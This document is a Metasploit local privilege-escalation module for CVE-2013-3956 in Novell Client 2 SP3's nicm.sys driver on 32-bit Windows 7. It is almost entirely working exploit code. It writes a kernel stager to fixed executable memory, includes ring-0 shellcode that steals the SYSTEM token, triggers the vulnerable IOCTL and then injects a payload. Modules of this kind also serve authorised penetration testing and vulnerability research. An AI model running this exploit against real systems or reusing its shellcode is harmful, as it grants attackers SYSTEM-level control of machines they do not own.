##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = AverageRanking

  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process

  def initialize(info={})
    super(update_info(info, {
      'Name'           => 'Novell Client 2 SP3 nicm.sys Local Privilege Escalation',
      'Description'    => %q{
        This module exploits a flaw in the nicm.sys driver to execute arbitrary code in
        kernel space. The vulnerability occurs while handling ioctl requests with code
        0x143B6B, where a user provided pointer is used as function pointer. The module
        has been tested successfully on Windows 7 SP1 with Novell Client 2 SP3.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Unknown', # Vulnerability discovery
          'juan vazquez' # MSF module
        ],
      'Arch'           => ARCH_X86,
      'Platform'       => 'win',
      'SessionTypes'   => [ 'meterpreter' ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Targets'        =>
        [
          # Tested with nicm.sys Version v3.1.5 Novell XTier Novell XTCOM Services Driver for Windows
          # as installed with Novell Client 2 SP3 for Windows 7
          [ 'Automatic', { } ],
          [ 'Windows 7 SP1',
            {
              'HaliQuerySystemInfo' => 0x16bba, # Stable over Windows XP SP3 updates
              '_KPROCESS'           => "\x50",  # Offset to _KPROCESS from a _ETHREAD struct
              '_TOKEN'              => "\xf8",  # Offset to TOKEN from the _EPROCESS struct
              '_UPID'               => "\xb4",  # Offset to UniqueProcessId FROM the _EPROCESS struct
              '_APLINKS'            => "\xb8"   # Offset to ActiveProcessLinks _EPROCESS struct
            }
          ]
        ],
      'Payload'        =>
        {
          'Space'       => 4096,
          'DisableNops' => true
        },
      'References'     =>
        [
          [ 'CVE', '2013-3956' ],
          [ 'OSVDB', '93718' ],
          [ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7012497' ],
          [ 'URL', 'http://pastebin.com/GB4iiEwR' ]
        ],
      'DisclosureDate' => 'May 22 2013',
      'DefaultTarget'  => 0
    }))

  end

  def open_device(dev)

    invalid_handle_value = 0xFFFFFFFF

    r = session.railgun.kernel32.CreateFileA(dev, "GENERIC_READ", 0x3, nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_READONLY", 0)

    handle = r['return']

    if handle == invalid_handle_value
      return nil
    end

    return handle
  end

  def ring0_shellcode(t)
    tokenstealing =  "\x52"                                                   # push edx                         # Save edx on the stack
    tokenstealing << "\x53"                                                   # push ebx                         # Save ebx on the stack
    tokenstealing << "\x33\xc0"                                               # xor eax, eax                     # eax = 0
    tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00"                           # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
    tokenstealing << "\x8b\x40" + t['_KPROCESS']                              # mov eax, dword ptr [eax+50h]     # Retrieve _KPROCESS
    tokenstealing << "\x8b\xc8"                                               # mov ecx, eax
    tokenstealing << "\x8b\x98" + t['_TOKEN'] + "\x00\x00\x00"                # mov ebx, dword ptr [eax+0f8h]    # Retrieves TOKEN
    tokenstealing << "\x8b\x80" + t['_APLINKS'] + "\x00\x00\x00"              # mov eax, dword ptr [eax+b8h]  <====| # Retrieve FLINK from ActiveProcessLinks
    tokenstealing << "\x81\xe8" + t['_APLINKS'] + "\x00\x00\x00"              # sub eax,b8h                        | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
    tokenstealing << "\x81\xb8" + t['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+b4h], 4         | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
    tokenstealing << "\x75\xe8"                                               # jne 0000101e ======================
    tokenstealing << "\x8b\x90" + t['_TOKEN'] + "\x00\x00\x00"                # mov edx,dword ptr [eax+0f8h]     # Retrieves TOKEN and stores on EDX
    tokenstealing << "\x8b\xc1"                                               # mov eax, ecx                     # Retrieves KPROCESS stored on ECX
    tokenstealing << "\x89\x90" + t['_TOKEN'] + "\x00\x00\x00"                # mov dword ptr [eax+0f8h],edx     # Overwrites the TOKEN for the current KPROCESS
    tokenstealing << "\x5b"                                                   # pop ebx                          # Restores ebx
    tokenstealing << "\x5a"                                                   # pop edx                          # Restores edx
    tokenstealing << "\xc2\x08"                                               # ret 08h                          # Away from the kernel!

    return tokenstealing
  end


  def allocate_memory(proc, address, length)

    result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("V"), nil, [ length ].pack("V"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")

    if not result["BaseAddress"] or result["BaseAddress"].empty?
      vprint_error("Failed to allocate memory")
      return nil
    end

    my_address = result["BaseAddress"].unpack("V")[0]

    vprint_good("Memory allocated at 0x#{my_address.to_s(16)}")

    if not proc.memory.writable?(my_address)
      vprint_error("Failed to allocate memory")
      return nil
    else
      vprint_good("0x#{my_address.to_s(16)} is now writable")
    end

    return my_address
  end

  def junk(n=4)
    return rand_text_alpha(n).unpack("V").first
  end

  def check
    handle = open_device("\\\\.\\nicm")
    if handle.nil?
      return Exploit::CheckCode::Safe
    end
    session.railgun.kernel32.CloseHandle(handle)
    return Exploit::CheckCode::Detected
  end

  def exploit
    if sysinfo["Architecture"] == ARCH_X64
      fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
    end

    my_target = nil
    if target.name =~ /Automatic/
      print_status("Detecting the target system...")
      os = sysinfo["OS"]
      if os =~ /windows 7/i
        my_target = targets[1]
        print_status("Running against #{my_target.name}")
      end
    else
      my_target = target
    end

    if my_target.nil?
      fail_with(Failure::NoTarget, "Remote system not detected as target, select the target manually")
    end

    print_status("Checking device...")
    handle = open_device("\\\\.\\nicm")
    if handle.nil?
      fail_with(Failure::NoTarget, "\\\\.\\nicm device not found")
    else
      print_good("\\\\.\\nicm found!")
    end

    this_proc = session.sys.process.open

    print_status("Storing the Kernel stager on memory...")
    stager_address = 0x0d0d0000
    stager_address = allocate_memory(this_proc, stager_address, 0x1000)

    if stager_address.nil? or stager_address == 0
      session.railgun.kernel32.CloseHandle(handle)
      fail_with(Failure::Unknown, "Failed to allocate memory")
    end

    # eax => &kernel_stager
    # .text:000121A3 mov     ecx, eax
    # .text:000121A5 mov     eax, [ecx]
    # .text:000121A7 mov     edx, [eax]
    # .text:000121A9 push    ecx
    # .text:000121AA push    eax
    # .text:000121AB call    dword ptr [edx+0Ch]
    kernel_stager =  [
      stager_address + 0x14, # stager_address
      junk,
      junk,
      junk,
      junk,
      stager_address + 0x18, # stager_address + 0x14
      junk,
      junk,
      junk,
      stager_address + 0x28  # stager_address + 0x24
    ].pack("V*")

    kernel_stager << ring0_shellcode(my_target)

    result = this_proc.memory.write(stager_address, kernel_stager)

    if result.nil?
      session.railgun.kernel32.CloseHandle(handle)
      fail_with(Failure::Unknown, "Failed to write contents to memory")
    else
      vprint_good("Contents successfully written to 0x#{stager_address.to_s(16)}")
    end


    print_status("Triggering the vulnerability to execute the Kernel Handler")
    magic_ioctl = 0x143B6B # Vulnerable IOCTL
    ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, stager_address, 0x14, 0, 0)
    session.railgun.kernel32.CloseHandle(handle)

    if ioctl["GetLastError"] != 0
      print_error("Something wrong while triggering the vulnerability, anyway checking privileges...")
    end

    print_status("Checking privileges after exploitation...")

    if not is_system?
      fail_with(Failure::Unknown, "The exploitation wasn't successful")
    else
      print_good("Exploitation successful!")
    end

    p = payload.encoded
    print_status("Injecting #{p.length.to_s} bytes to memory and executing it...")
    if execute_shellcode(p)
      print_good("Enjoy")
    else
      fail_with(Failure::Unknown, "Error while executing the payload")
    end
  end
end
